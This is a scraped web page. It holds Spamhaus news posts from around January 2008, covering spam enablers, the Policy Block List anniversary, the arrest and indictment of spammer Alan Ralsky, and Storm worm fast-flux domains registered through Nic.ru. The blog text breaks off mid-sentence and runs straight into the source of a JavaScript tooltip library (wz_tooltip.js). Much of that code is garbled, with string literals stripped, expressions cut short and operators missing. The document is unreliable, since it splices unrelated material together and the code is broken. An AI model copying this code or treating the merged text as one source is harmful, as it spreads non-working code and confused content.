gardens, and who allow known hard-core abusers to retain broadband connectivity for years ...as long as their actual spam is committed via other networks. (heard that one before?) Registrars which won't establish minimal rules of accountability and legitimate use. (don't even start on ICANN.) Senders -- good, legitimate, clean whitehats -- who, when it comes time to write down best practices as an industry standard document, refuse to come to terms with their own acquisition demons and say in the clearest possible terms, "OPT IN ONLY". The Mondo-Eyeball corporations which make free services available to spammers, then can't be bothered with all that pesky work of enforcement that others who sell similar services find necessary. Software vendors with inadequate security controls. 'Nuf said. End users who haven't bothered to learn basic survival skills. Educators who don't make the survival lessons accessible enough. Legislators, executives, judiciary and bureaucrats who pander to special interests and ignore public interests, industry experts and even their own specialist departments such as DHS CERT. Lobbyists, industry groups and any of the electorate who isn't constantly pestering their representatives to enforce existing laws and create better, stronger ones. (I'm guilty.) Law enforcement, particularly at Attorney General and high bureaucracy levels, which is waiting for the perfect case and not willing to take any risk on the politics or precedents to get bad guys into court. (Why's Ralsky sleeping at home?) I'm sure there are plenty more, and if I've gone too soft on myself, mea culpa. If anyone here is feeling personally skewered, I'm sorry, that wasn't my intent, but how about doing something to change the reason for it? The whole point is that we know these holes exist, we know they breed pestilence, so what are we doing about it?

The Spamhaus PBL, a one year old anti-spam heavyweight

The Spamhaus Team — Tue, 29 Jan 2008 22:30:00 GMT

One year ago this month, Spamhaus launched the Policy Block List, also known as the PBL. Now a year later we look back to see what effect it has had. The PBL was created to be used together with our other DNSBL zones, the SBL and the XBL. At the same time as the PBL we launched ZEN, a new all-in-one DNSBL (if you haven't switched over from our other zones to ZEN - do it now!). While the XBL was and is still a very powerful tool in stopping spam sent through exploited computers there is spam that may not be instantly caught by the XBL's detection-based design. Enter the PBL, which lists IP address ranges that should never send out unauthenticated email. The PBL builds on the concept of older dynamic/dialup lists, but with some very important differences: The PBL does not only list dynamic addresses, but focuses on end-user ranges. There are two categories of listings: Spamhaus maintained and ISP/network-owner supplied. These are distinguishable by the response when a mailserver queries the PBL. End users who do run a mailserver in PBL-listed ranges can suppress their own IP address from the PBL list. So where do we stand a year after the launch of PBL? Of course that question is best answered by the users of PBL who report dramatic decreases in the amount of spam delivered. While the PBL has some overlap with the XBL, it also stops a lot of spam that does not get listed on the XBL. The combination of both can, in most cases, stop between 80% and 90% of all spam right at "the front door". This is a serious cost savings for ISPs and companies, who can directly save on bandwidth, storage and support costs in their email infrastructure. When coupled with other techniques, the total spam catch rate can average 99.6%, or 299 of every 300 spams caught. Much as with our original SBL, and the XBL, Spamhaus takes great care to insure that "clean" mailserver IP addresses are never included in the PBL which would cause legitimate email to be treated as spam. But there's more. Another cost-saving aspect for ISPs is to contribute and maintain their own network ranges through a "PBL ISP account". Due to the large numbers of worldwide PBL users, participating ISPs have seen a drop in abuse desk spam complaint volume. Their IP address space becomes a less valuable target for spammers looking for "clean" ranges to spam from. ISP-maintained PBL listings currently cover almost 25% of all PBL listed IP addresses, or roughly 100 million IP addresses. These have been submitted by over 500 ISPs, ranging from the very small to the millions-of-users sized. Who better to trust about not accepting email from an IP address than the ISP that operates the network address range? Any ISP or company with an IP address space is welcome to sign up for an account, it's quick and free to do. So what to expect for the new year? We will keep adding more IP address ranges every day. We will keep working to get more ISPs and companies aboard to maintain their own ranges. So a big "thank you" to all who are already participating and another big "thank you" to all our users, small and large. While prediction is quite difficult we are confident that with more PBL, in 2008 you will see less spam. How can the PBL (and the full ZEN) help you who are getting flooded with spam? Well, if you're an end-user, see if you can get your ISP or company to use the Spamhaus data. If you're an ISP admin or network-manager, try the PBL and our other zones for a month and see what a difference they make on your spam-load.

US Feds arrest and book ROKSO spammer Alan Ralsky

The Spamhaus Team — Fri, 11 Jan 2008 06:33:00 GMT

As reported by the Detroit Free Press on January 9, 2008, spammer Alan Ralsky of West Bloomfield, Michigan was brought into U.S. District Court in Detroit in handcuffs, escorted by FBI and US Postal Inspection Service agents who met him at the Detroit Metro Airport upon his return from Germany. Spamhaus was pleased to report on the January 3rd, 2008, Federal Indictment of Ralsky and 10 others in his spam gang. Known as the "Spam King" and "one of the most hated people on the Internet" Ralsky is no stranger to being arrested, appearing in court, or serving time in prison. In fact, his criminal activity dates back for over a decade. Spamhaus has documented some of this: | | | --- | | LEGAL: Troubles in Illinois | | LEGAL: Troubles in Michigan | | LEGAL: Troubles in Ohio | | LEGAL: Troubles USA vs RALSKY - Felony Bank Fraud (1995) | | LEGAL: ''VERIZON Inc., Plaintiff, v. ALAN RALSKY, ET AL., Defendants'' | Ralsky was also listed in "The 10 Worst ROKSO Spammers" list for many years until larger Russian and Chinese based spam gangs took over the top positions. This should begin the final chapter for Ralsky - who started spamming internet users in 1997. The world had hoped this would have occurred soon after the 2005 FBI raid on his home, but it seems this only lead to a larger investigation which brought in more suspects and more federal law enforcement. Based on the number and types of charges detailed in the indictment, even though US Federal judge R. Steven Whalen released Ralsky on an "unsecured bond" (A penalty to be paid if one fails to show up "as ordered" - it does not require the filing or deposit of assets which would "secure" compliance) he should be too busy trying to prepare a case to keep him, at 63 years old, out of federal prison for the remainder of his life. One can predict attempts at plea bargains where he may turn in evidence on the criminal activities of his many clients and associates. This is something that will surely put a chill into the western underground cybercrime & spamming communities. As one would expect, Ralsky, through his attorney, entered a "not guilty" plea.

Spam King Alan Ralsky indicted

The Spamhaus Team — Thu, 03 Jan 2008 23:41:00 GMT

The US Department of Justice went public on January 3rd with the indictment of Alan Ralsky and 10 others who helped him. Ralsky topped our Top 10 Worst Spammers list for quite some time and was involved in almost any sort of spam activity that's being done. He and his gang frequently sent millions of spam messages per day. In recent years his focus has been on stock spam, and that's a key part of what the US DOJ indicted him for. We at Spamhaus are of course very pleased at this news. Our specialists work regularly with law enforcement investigating a number of spammers, and while we can never talk about the details, we're delighted that we were able to contribute to this indictment, and that it can now be made public. Congratulations to all involved with this success! Original Ralsky Indictment PDF- Updated Indictment Information PDF UPDATE: Latest on Ralsky

The increasing importance of registrars in the fight against spam

The Spamhaus Team — Tue, 01 Jan 2008 01:21:00 GMT

Anyone remotely involved in the fight against spam has heard of the Storm worm. While Storm has used a variety of social engineering tricks to propagate, the e-card method has always been a popular one. What better a moment to send an e-card than in this holiday season? That's probably why the Storm botnet gang began pumping out large amounts of fake holiday season e-cards on Christmas Eve. All these fake e-cards are hosted on domains such as merrychristmasdude.com, newyearcards2008.com or newyearwithlove.com, to name a few. This is not regular hosting, this is all fast-flux hosting. This means that the IP addresses hosting the content change every few seconds. This technique makes it virtually impossible for ISPs to take down the site because the fast-flux pool is fed with thousands of infected "botnet" machines that serve up the content. The only fast and effective way of shutting down a fast-flux hosted website is to shut down the domains involved. If the domains are removed from the TLD rootservers they cannot be resolved anymore, this makes the fast-flux hosted websites unreachable. The only party that can shut down a domain is the registrar where the domain was registered. With the advent of fast-flux hosting, registrars now have a critical role in enforcing a policy against spam. That is why Spamhaus sees it as an absolute must that registrars keep in touch with--and react to--today's spam & virus issues. While many registrars are very cooperative, others have not yet addressed the problem. In this case the Storm worm people have registered their domains through Nic.ru. This does not look like a coincidence, because thus far Spamhaus has been unable to establish contact with Nic.ru to have the domains involved shut down. Of course it is the holiday season, but we assume that even Nic.ru has a 24/7 staff to keep things running and to react to serious issues. This is a very serious issue, involving a massive flood of spam designed to infect many thousands of end-user machines. Due to the fast-flux nature of the hosting only Nic.ru can effectively put a halt to this malware disguised as a fake greeting card, stop thousands of internet users from becoming infected with the Storm worm and becoming senders of spam right after that. Unfortunately, Nic.ru has failed to react to all of our efforts at contacting them. Given the huge impact of the Storm worm, the impact Nic.ru can have by suspending the domains involved and their failure to react promptly, Spamhaus has no other option than to list critical parts of their infrastructure in SBL to get their attention. Holiday season or not, organizations like Nic.ru need to react when alerted to serious problems like these. Related SBL listings: SBL62023- SBL62051 section, and invoke Tip('Tooltip text') from within the desired HTML onmouseover eventhandlers. No container DIV, no onmouseouts required. By default, width of tooltips is automatically adapted to content. Is even capable of dynamically converting arbitrary HTML elements to tooltips by calling TagToTip('ID\_of\_HTML\_element\_to\_be\_converted') instead of Tip(), which means you can put important, search-engine-relevant stuff into tooltips. Appearance of tooltips can be individually configured via commands passed to Tip() or TagToTip(). Tab Width: 4 LICENSE: LGPL This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License (LGPL) as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. For more details on the GNU Lesser General Public License, see http://www.gnu.org/copyleft/lesser.html \*/ var config = new Object(); //=================== GLOBAL TOOPTIP CONFIGURATION =========================// var tt\_Debug = false // false or true - recommended: false once you release your page to the public var tt\_Enabled = true // Allows to (temporarily) suppress tooltips, e.g. by providing the user with a button that sets this global variable to false var TagsToTip = true // false or true - if true, the script is capable of converting HTML elements to tooltips // For each of the following config variables there exists a command, which is // just the variablename in uppercase, to be passed to Tip() or TagToTip() to // configure tooltips individually. Individual commands override global // configuration. Order of commands is arbitrary. // Example: onmouseover="Tip('Tooltip text', LEFT, true, BGCOLOR, '#FF9900', FADEIN, 400)" config. Above = false // false or true - tooltip above mousepointer? config. BgColor = '#E4E7FF' // Background color config. BgImg = '' // Path to background image, none if empty string '' config. BorderColor = '#ffcc00' config. BorderStyle = 'solid' // Any permitted CSS value, but I recommend 'solid', 'dotted' or 'dashed' config. BorderWidth = 2 config. CenterMouse = false // false or true - center the tip horizontally below (or above) the mousepointer config. ClickClose = false // false or true - close tooltip if the user clicks somewhere config. CloseBtn = false // false or true - closebutton in titlebar config. CloseBtnColors = ['#990000', '#FFFFFF', '#DD3333', '#FFFFFF'] // [Background, text, hovered background, hovered text] - use empty strings '' to inherit title colors config. CloseBtnText = ' X ' // Close button text (may also be an image tag) config. CopyContent = true // When converting a HTML element to a tooltip, copy only the element's content, rather than converting the element by its own config. Delay = 100 // Time span in ms until tooltip shows up config. Duration = 0 // Time span in ms after which the tooltip disappears; 0 for infinite duration config. FadeIn = 0 // Fade-in duration in ms, e.g. 400; 0 for no animation config. FadeOut = 100 config. FadeInterval = 30 // Duration of each fade step in ms (recommended: 30) - shorter is smoother but causes more CPU-load config. Fix = null // Fixated position - x- an y-oordinates in brackets, e.g. [210, 480], or null for no fixation config. FollowMouse = true // false or true - tooltip follows the mouse config. FontColor = '#000044' config. FontFace = 'Verdana,Geneva,sans-serif' config. FontSize = '8pt' // E.g. '9pt' or '12px' - unit is mandatory config. FontWeight = 'normal' // 'normal' or 'bold'; config. Left = false // false or true - tooltip on the left of the mouse config. OffsetX = 14 // Horizontal offset of left-top corner from mousepointer config. OffsetY = 8 // Vertical offset config. Opacity = 100 // Integer between 0 and 100 - opacity of tooltip in percent config. Padding = 3 // Spacing between border and content config. Shadow = true // false or true config. ShadowColor = '#C0C0C0' config. ShadowWidth = 5 config. Sticky = false // Do NOT hide tooltip on mouseout? false or true config. TextAlign = 'left' // 'left', 'right' or 'justify' config. Title = '' // Default title text applied to all tips (no default title: empty string '') config. TitleAlign = 'left' // 'left' or 'right' - text alignment inside the title bar config. TitleBgColor = '' // If empty string '', BorderColor will be used config. TitleFontColor = '#ffffff' // Color of title text - if '', BgColor (of tooltip body) will be used config. TitleFontFace = '' // If '' use FontFace (boldified) config. TitleFontSize = '' // If '' use FontSize config. Width = 400 // Tooltip width; 0 for automatic adaption to tooltip content //======= END OF TOOLTIP CONFIG, DO NOT CHANGE ANYTHING BELOW ==============// //====================== PUBLIC ============================================// function Tip() { tt\_Tip(arguments, null); } function TagToTip() { if(TagsToTip) { var t2t = tt\_GetElt(arguments[0]); if(t2t) tt\_Tip(arguments, t2t); } } //================== PUBLIC EXTENSION API ==================================// // Extension eventhandlers currently supported: // OnLoadConfig, OnCreateContentString, OnSubDivsCreated, OnShow, OnMoveBefore, // OnMoveAfter, OnHideInit, OnHide, OnKill var tt\_aElt = new Array(10), // Container DIV, outer title & body DIVs, inner title & body TDs, closebutton SPAN, shadow DIVs, and IFRAME to cover windowed elements in IE tt\_aV = new Array(), // Caches and enumerates config data for currently active tooltip tt\_sContent, // Inner tooltip text or HTML tt\_scrlX = 0, tt\_scrlY = 0, tt\_musX, tt\_musY, tt\_over, tt\_x, tt\_y, tt\_w, tt\_h; // Position, width and height of currently displayed tooltip function tt\_Extension() { tt\_ExtCmdEnum(); tt\_aExt[tt\_aExt.length] = this; return this; } function tt\_SetTipPos(x, y) { var css = tt\_aElt[0].style; tt\_x = x; tt\_y = y; css.left = x + "px"; css.top = y + "px"; if(tt\_ie56) { var ifrm = tt\_aElt[tt\_aElt.length - 1]; if(ifrm) { ifrm.style.left = css.left; ifrm.style.top = css.top; } } } function tt\_Hide() { if(tt\_db && tt\_iState) { if(tt\_iState & 0x2) { tt\_aElt[0].style.visibility = "hidden"; tt\_ExtCallFncs(0, "Hide"); } tt\_tShow.EndTimer(); tt\_tHide.EndTimer(); tt\_tDurt.EndTimer(); tt\_tFade.EndTimer(); if(!tt\_op && !tt\_ie) { tt\_tWaitMov.EndTimer(); tt\_bWait = false; } if(tt\_aV[CLICKCLOSE]) tt\_RemEvtFnc(document, "mouseup", tt\_HideInit); tt\_AddRemOutFnc(false); tt\_ExtCallFncs(0, "Kill"); // In case of a TagToTip tooltip, hide converted DOM node and // re-insert it into document if(tt\_t2t && !tt\_aV[COPYCONTENT]) { tt\_t2t.style.display = "none"; tt\_MovDomNode(tt\_t2t, tt\_aElt[6], tt\_t2tDad); } tt\_iState = 0; tt\_over = null; tt\_ResetMainDiv(); if(tt\_aElt[tt\_aElt.length - 1]) tt\_aElt[tt\_aElt.length - 1].style.display = "none"; } } function tt\_GetElt(id) { return(document.getElementById ? document.getElementById(id) : document.all ? document.all[id] : null); } function tt\_GetDivW(el) { return(el ? (el.offsetWidth || el.style.pixelWidth || 0) : 0); } function tt\_GetDivH(el) { return(el ? (el.offsetHeight || el.style.pixelHeight || 0) : 0); } function tt\_GetScrollX() { return(window.pageXOffset || (tt\_db ? (tt\_db.scrollLeft || 0) : 0)); } function tt\_GetScrollY() { return(window.pageYOffset || (tt\_db ? (tt\_db.scrollTop || 0) : 0)); } function tt\_GetClientW() { return(document.body && (typeof(document.body.clientWidth) != tt\_u) ? document.body.clientWidth : (typeof(window.innerWidth) != tt\_u) ? window.innerWidth : tt\_db ? (tt\_db.clientWidth || 0) : 0); } function tt\_GetClientH() { // Exactly this order seems to yield correct values in all major browsers return(document.body && (typeof(document.body.clientHeight) != tt\_u) ? document.body.clientHeight : (typeof(window.innerHeight) != tt\_u) ? window.innerHeight : tt\_db ? (tt\_db.clientHeight || 0) : 0); } function tt\_GetEvtX(e) { return (e ? ((typeof(e.pageX) != tt\_u) ? e.pageX : (e.clientX + tt\_scrlX)) : 0); } function tt\_GetEvtY(e) { return (e ? ((typeof(e.pageY) != tt\_u) ? e.pageY : (e.clientY + tt\_scrlY)) : 0); } function tt\_AddEvtFnc(el, sEvt, PFnc) { if(el) { if(el.addEventListener) el.addEventListener(sEvt, PFnc, false); else el.attachEvent("on" + sEvt, PFnc); } } function tt\_RemEvtFnc(el, sEvt, PFnc) { if(el) { if(el.removeEventListener) el.removeEventListener(sEvt, PFnc, false); else el.detachEvent("on" + sEvt, PFnc); } } //====================== PRIVATE ===========================================// var tt\_aExt = new Array(), // Array of extension objects tt\_db, tt\_op, tt\_ie, tt\_ie56, tt\_bBoxOld, // Browser flags tt\_body, tt\_flagOpa, // Opacity support: 1=IE, 2=Khtml, 3=KHTML, 4=Moz, 5=W3C tt\_maxPosX, tt\_maxPosY, tt\_iState = 0, // Tooltip active |= 1, shown |= 2, move with mouse |= 4 tt\_opa, // Currently applied opacity tt\_bJmpVert, // Tip above mouse (or ABOVE tip below mouse) tt\_t2t, tt\_t2tDad, // Tag converted to tip, and its parent element in the document tt\_elDeHref, // The tag from which Opera has removed the href attribute // Timer tt\_tShow = new Number(0), tt\_tHide = new Number(0), tt\_tDurt = new Number(0), tt\_tFade = new Number(0), tt\_tWaitMov = new Number(0), tt\_bWait = false, tt\_u = "undefined"; function tt\_Init() { tt\_MkCmdEnum(); // Send old browsers instantly to hell if(!tt\_Browser() || !tt\_MkMainDiv()) return; tt\_IsW3cBox(); tt\_OpaSupport(); tt\_AddEvtFnc(document, "mousemove", tt\_Move); // In Debug mode we search for TagToTip() calls in order to notify // the user if they've forgotten to set the TagsToTip config flag if(TagsToTip || tt\_Debug) tt\_SetOnloadFnc(); tt\_AddEvtFnc(window, "scroll", function() { tt\_scrlX = tt\_GetScrollX(); tt\_scrlY = tt\_GetScrollY(); if(tt\_iState && !(tt\_aV[STICKY] && (tt\_iState & 2))) tt\_HideInit(); } ); // Ensure the tip be hidden when the page unloads tt\_AddEvtFnc(window, "unload", tt\_Hide); tt\_Hide(); } // Creates command names by translating config variable names to upper case function tt\_MkCmdEnum() { var n = 0; for(var i in config) eval("window." + i.toString().toUpperCase() + " = " + n++); tt\_aV.length = n; } function tt\_Browser() { var n, nv, n6, w3c; n = navigator.userAgent.toLowerCase(), nv = navigator.appVersion; tt\_op = (document.defaultView && typeof(eval("w" + "indow" + "." + "o" + "p" + "er" + "a")) != tt\_u); tt\_ie = n.indexOf("msie") != -1 && document.all && !tt\_op; if(tt\_ie) { var ieOld = (!document.compatMode || document.compatMode == "BackCompat"); tt\_db = !ieOld ? document.documentElement : (document.body || null); if(tt\_db) tt\_ie56 = parseFloat(nv.substring(nv.indexOf("MSIE") + 5)) >= 5.5 && typeof document.body.style.maxHeight == tt\_u; } else { tt\_db = document.documentElement || document.body || (document.getElementsByTagName ? document.getElementsByTagName("body")[0] : null); if(!tt\_op) { n6 = document.defaultView && typeof document.defaultView.getComputedStyle != tt\_u; w3c = !n6 && document.getElementById; } } tt\_body = (document.getElementsByTagName ? document.getElementsByTagName("body")[0] : (document.body || null)); if(tt\_ie || n6 || tt\_op || w3c) { if(tt\_body && tt\_db) { if(document.attachEvent || document.addEventListener) return true; } else tt\_Err("wz\_tooltip.js must be included INSIDE the body section," " immediately after the opening tag."); } tt\_db = null; return false; } function tt\_MkMainDiv() { // Create the tooltip DIV if(tt\_body.insertAdjacentHTML) tt\_body.insertAdjacentHTML("afterBegin", tt\_MkMainDivHtm()); else if(typeof tt\_body.innerHTML != tt\_u && document.createElement && tt\_body.appendChild) tt\_body.appendChild(tt\_MkMainDivDom()); // FireFox Alzheimer bug if(window.tt\_GetMainDivRefs && tt\_GetMainDivRefs()) return true; tt\_db = null; return false; } function tt\_MkMainDivHtm() { return('' + (tt\_ie56 ? ('') : '')); } function tt\_MkMainDivDom() { var el = document.createElement("div"); if(el) el.id = "WzTtDiV"; return el; } function tt\_GetMainDivRefs() { tt\_aElt[0] = tt\_GetElt("WzTtDiV"); if(tt\_ie56 && tt\_aElt[0]) { tt\_aElt[tt\_aElt.length - 1] = tt\_GetElt("WzTtIfRm"); if(!tt\_aElt[tt\_aElt.length - 1]) tt\_aElt[0] = null; } if(tt\_aElt[0]) { var css = tt\_aElt[0].style; css.visibility = "hidden"; css.position = "absolute"; css.overflow = "hidden"; return true; } return false; } function tt\_ResetMainDiv() { var w = (window.screen && screen.width) ? screen.width : 10000; tt\_SetTipPos(-w, 0); tt\_aElt[0].innerHTML = ""; tt\_aElt[0].style.width = (w - 1) + "px"; } function tt\_IsW3cBox() { var css = tt\_aElt[0].style; css.padding = "10px"; css.width = "40px"; tt\_bBoxOld = (tt\_GetDivW(tt\_aElt[0]) == 40); css.padding = "0px"; tt\_ResetMainDiv(); } function tt\_OpaSupport() { var css = tt\_body.style; tt\_flagOpa = (typeof(css.filter) != tt\_u) ? 1 : (typeof(css.KhtmlOpacity) != tt\_u) ? 2 : (typeof(css.KHTMLOpacity) != tt\_u) ? 3 : (typeof(css.MozOpacity) != tt\_u) ? 4 : (typeof(css.opacity) != tt\_u) ? 5 : 0; } // Ported from http://dean.edwards.name/weblog/2006/06/again/ // (Dean Edwards et al.) function tt\_SetOnloadFnc() { tt\_AddEvtFnc(document, "DOMContentLoaded", tt\_HideSrcTags); tt\_AddEvtFnc(window, "load", tt\_HideSrcTags); if(tt\_body.attachEvent) tt\_body.attachEvent("onreadystatechange", function() { if(tt\_body.readyState == "complete") tt\_HideSrcTags(); } ); if(/WebKit|KHTML/i.test(navigator.userAgent)) { var t = setInterval(function() { if(/loaded|complete/.test(document.readyState)) { clearInterval(t); tt\_HideSrcTags(); } }, 10); } } function tt\_HideSrcTags() { if(!window.tt\_HideSrcTags || window.tt\_HideSrcTags.done) return; window.tt\_HideSrcTags.done = true; if(!tt\_HideSrcTagsRecurs(tt\_body)) tt\_Err("To enable the capability to convert HTML elements to tooltips," " you must set TagsToTip in the global tooltip configuration" " to true."); } function tt\_HideSrcTagsRecurs(dad) { var a, ovr, asT2t; // Walk the DOM tree for tags that have an onmouseover attribute // containing a TagToTip('...') call. // (.childNodes first since .children is bugous in Safari) a = dad.childNodes || dad.children || null; for(var i = a ? a.length : 0; i;) {--i; if(!tt\_HideSrcTagsRecurs(a[i])) return false; ovr = a[i].getAttribute ? a[i].getAttribute("onmouseover") : (typeof a[i].onmouseover == "function") ? a[i].onmouseover : null; if(ovr) { asT2t = ovr.toString().match(/TagToTip\s\$\s\'+'\s\*[$,]/); if(asT2t && asT2t.length) { if(!tt\_HideSrcTag(asT2t[0])) return false; } } } return true; } function tt\_HideSrcTag(sT2t) { var id, el; // The ID passed to the found TagToTip() call identifies an HTML element // to be converted to a tooltip, so hide that element id = sT2t.replace(/.+'(+)'.+/, "$1"); el = tt\_GetElt(id); if(el) { if(tt\_Debug && !TagsToTip) return false; else el.style.display = "none"; } else tt\_Err("Invalid ID\n'" + id + "'\npassed to TagToTip()." " There exists no HTML element with that ID."); return true; } function tt\_Tip(arg, t2t) { if(!tt\_db) return; if(tt\_iState) tt\_Hide(); if(!tt\_Enabled) return; tt\_t2t = t2t; if(!tt\_ReadCmds(arg)) return; tt\_iState = 0x1 | 0x4; tt\_AdaptConfig1(); tt\_MkTipContent(arg); tt\_MkTipSubDivs(); tt\_FormatTip(); tt\_bJmpVert = false; tt\_maxPosX = tt\_GetClientW() + tt\_scrlX - tt\_w - 1; tt\_maxPosY = tt\_GetClientH() + tt\_scrlY - tt\_h - 1; tt\_AdaptConfig2(); // We must fake the first mousemove in order to ensure the tip // be immediately shown and positioned tt\_Move(); tt\_ShowInit(); } function tt\_ReadCmds(a) { var i; // First load the global config values, to initialize also values // for which no command has been passed i = 0; for(var j in config) tt\_aV[i++] = config[j]; // Then replace each cached config value for which a command has been // passed (ensure the # of command args plus value args be even) if(a.length & 1) { for(i = a.length - 1; i > 0; i -= 2) tt\_aV[a[i - 1]] = a[i]; return true; } tt\_Err("Incorrect call of Tip() or TagToTip().\n" "Each command must be followed by a value."); return false; } function tt\_AdaptConfig1() { tt\_ExtCallFncs(0, "LoadConfig"); // Inherit unspecified title formattings from body if(!tt\_aV[TITLEBGCOLOR].length) tt\_aV[TITLEBGCOLOR] = tt\_aV[BORDERCOLOR]; if(!tt\_aV[TITLEFONTCOLOR].length) tt\_aV[TITLEFONTCOLOR] = tt\_aV[BGCOLOR]; if(!tt\_aV[TITLEFONTFACE].length) tt\_aV[TITLEFONTFACE] = tt\_aV[FONTFACE]; if(!tt\_aV[TITLEFONTSIZE].length) tt\_aV[TITLEFONTSIZE] = tt\_aV[FONTSIZE]; if(tt\_aV[CLOSEBTN]) { // Use title colors for non-specified closebutton colors if(!tt\_aV[CLOSEBTNCOLORS]) tt\_aV[CLOSEBTNCOLORS] = new Array("", "", "", ""); for(var i = 4; i;) {--i; if(!tt\_aVCLOSEBTNCOLORS.length) tt\_aVCLOSEBTNCOLORS = (i & 1) ? tt\_aV[TITLEFONTCOLOR] : tt\_aV[TITLEBGCOLOR]; } // Enforce titlebar be shown if(!tt\_aV[TITLE].length) tt\_aV[TITLE] = " "; } // Circumvents broken display of images and fade-in flicker in Geckos 100) tt\_aV[DELAY] = Math.max(tt\_aV[DELAY] - tt\_aV[FADEIN], 100); } function tt\_AdaptConfig2() { if(tt\_aV[CENTERMOUSE]) tt\_aV[OFFSETX] -= ((tt\_w - (tt\_aV[SHADOW] ? tt\_aV[SHADOWWIDTH] : 0)) >> 1); } // Expose content globally so extensions can modify it function tt\_MkTipContent(a) { if(tt\_t2t) { if(tt\_aV[COPYCONTENT]) tt\_sContent = tt\_t2t.innerHTML; else tt\_sContent = ""; } else tt\_sContent = a[0]; tt\_ExtCallFncs(0, "CreateContentString"); } function tt\_MkTipSubDivs() { var sCss = 'position:relative;margin:0px;padding:0px;border-width:0px;left:0px;top:0px;line-height:normal;width:auto;', sTbTrTd = ' cellspacing=0 cellpadding=0 border=0 style="' + sCss + '">' '' tt\_aV[TITLE] '' (tt\_aV[CLOSEBTN] ? ('' '' tt\_aV[CLOSEBTNTEXT] '') : '') '') : '') '' '' tt\_sContent '' (tt\_aV[SHADOW] ? ('' '') : '') ); tt\_GetSubDivRefs(); // Convert DOM node to tip if(tt\_t2t && !tt\_aV[COPYCONTENT]) { // Store the tag's parent element so we can restore that DOM branch // once the tooltip is hidden tt\_t2tDad = tt\_t2t.parentNode || tt\_t2t.parentElement || tt\_t2t.offsetParent || null; if(tt\_t2tDad) { tt\_MovDomNode(tt\_t2t, tt\_t2tDad, tt\_aElt[6]); tt\_t2t.style.display = "block"; } } tt\_ExtCallFncs(0, "SubDivsCreated"); } function tt\_GetSubDivRefs() { var aId = new Array("WzTiTl", "WzTiTlTb", "WzTiTlI", "WzClOsE", "WzBoDy", "WzBoDyI", "WzTtShDwB", "WzTtShDwR"); for(var i = aId.length; i; --i) tt\_aElt[i] = tt\_GetElt(aId[i - 1]); } function tt\_FormatTip() { var css, w, iOffY, iOffSh; //--------- Title DIV ---------- if(tt\_aV[TITLE].length) { css = tt\_aElt[1].style; css.background = tt\_aV[TITLEBGCOLOR]; css.paddingTop = (tt\_aV[CLOSEBTN] ? 2 : 0) + "px"; css.paddingBottom = "1px"; css.paddingLeft = css.paddingRight = tt\_aV[PADDING] + "px"; css = tt\_aElt[3].style; css.color = tt\_aV[TITLEFONTCOLOR]; css.fontFamily = tt\_aV[TITLEFONTFACE]; css.fontSize = tt\_aV[TITLEFONTSIZE]; css.fontWeight = "bold"; css.textAlign = tt\_aV[TITLEALIGN]; // Close button DIV if(tt\_aElt[4]) { css.paddingRight = (tt\_aV[PADDING] 0) tt\_w = tt\_aV[WIDTH] + ((tt\_aV[PADDING] + tt\_aV[BORDERWIDTH]) 0) w = tt\_aV[WIDTH] + ((tt\_aV[PADDING] + tt\_aV[BORDERWIDTH]) tt\_w) tt\_w = w; //--------- Shadow DIVs ------------ if(tt\_aV[SHADOW]) { tt\_w += tt\_aV[SHADOWWIDTH]; iOffSh = Math.floor((tt\_aV[SHADOWWIDTH] \* 4) / 3); // Bottom shadow css = tt\_aElt[7].style; css.top = iOffY + "px"; css.left = iOffSh + "px"; css.width = (tt\_w - iOffSh - tt\_aV[SHADOWWIDTH]) + "px"; css.height = tt\_aV[SHADOWWIDTH] + "px"; css.background = tt\_aV[SHADOWCOLOR]; // Right shadow css = tt\_aElt[8].style; css.top = iOffSh + "px"; css.left = (tt\_w - tt\_aV[SHADOWWIDTH]) + "px"; css.width = tt\_aV[SHADOWWIDTH] + "px"; css.background = tt\_aV[SHADOWCOLOR]; } else iOffSh = 0; //-------- Container DIV ------- tt\_SetTipOpa(tt\_aV[FADEIN] ? 0 : tt\_aV[OPACITY]); tt\_FixSize(iOffY, iOffSh); } // Fixate the size so it can't dynamically change while the tooltip is moving. function tt\_FixSize(iOffY, iOffSh) { var wIn, wOut, i; tt\_aElt[0].style.width = tt\_w + "px"; tt\_aElt[0].style.pixelWidth = tt\_w; wOut = tt\_w - ((tt\_aV[SHADOW]) ? tt\_aV[SHADOWWIDTH] : 0); // Body wIn = wOut; if(!tt\_bBoxOld) wIn -= ((tt\_aV[PADDING] + tt\_aV[BORDERWIDTH]) 0) tt\_tDurt.Timer("tt\_HideInit()", tt\_aV[DURATION], true); tt\_ExtCallFncs(0, "Show") css.visibility = "visible"; tt\_iState |= 0x2; if(tt\_aV[FADEIN]) tt\_Fade(0, 0, tt\_aV[OPACITY], Math.round(tt\_aV[FADEIN] / tt\_aV[FADEINTERVAL])); tt\_ShowIfrm(); } function tt\_ShowIfrm() { if(tt\_ie56) { var ifrm = tt\_aElt[tt\_aElt.length - 1]; if(ifrm) { var css = ifrm.style; css.zIndex = tt\_aElt[0].style.zIndex - 1; css.display = "block"; } } } function tt\_Move(e) { e = window.event || e; if(e) { tt\_musX = tt\_GetEvtX(e); tt\_musY = tt\_GetEvtY(e); } if(tt\_iState) { if(!tt\_over && e) tt\_OverInit(e); if(tt\_iState & 0x4) { // Protect some browsers against jam of mousemove events if(!tt\_op && !tt\_ie) { if(tt\_bWait) return; tt\_bWait = true; tt\_tWaitMov.Timer("tt\_bWait = false;", 1, true); } if(tt\_aV[FIX]) { tt\_iState &= ~0x4; tt\_SetTipPos(tt\_aVFIX, tt\_aVFIX); } else if(!tt\_ExtCallFncs(e, "MoveBefore")) tt\_SetTipPos(tt\_PosX(), tt\_PosY()); tt\_ExtCallFncs([tt\_musX, tt\_musY], "MoveAfter") } } } function tt\_PosX() { var x; x = tt\_musX; if(tt\_aV[LEFT]) x -= tt\_w + tt\_aV[OFFSETX] - (tt\_aV[SHADOW] ? tt\_aV[SHADOWWIDTH] : 0); else x += tt\_aV[OFFSETX]; // Prevent tip from extending past right/left clientarea boundary if(x > tt\_maxPosX) x = tt\_maxPosX; return((x = tt\_scrlY + 16)) y = tt\_DoPosYAbove(); else if(!tt\_aV[ABOVE] && tt\_bJmpVert && tt\_CalcPosYBelow() > tt\_maxPosY - 16) y = tt\_DoPosYAbove(); else y = tt\_DoPosYBelow(); // Snap to other side of mouse if tip would extend past window boundary 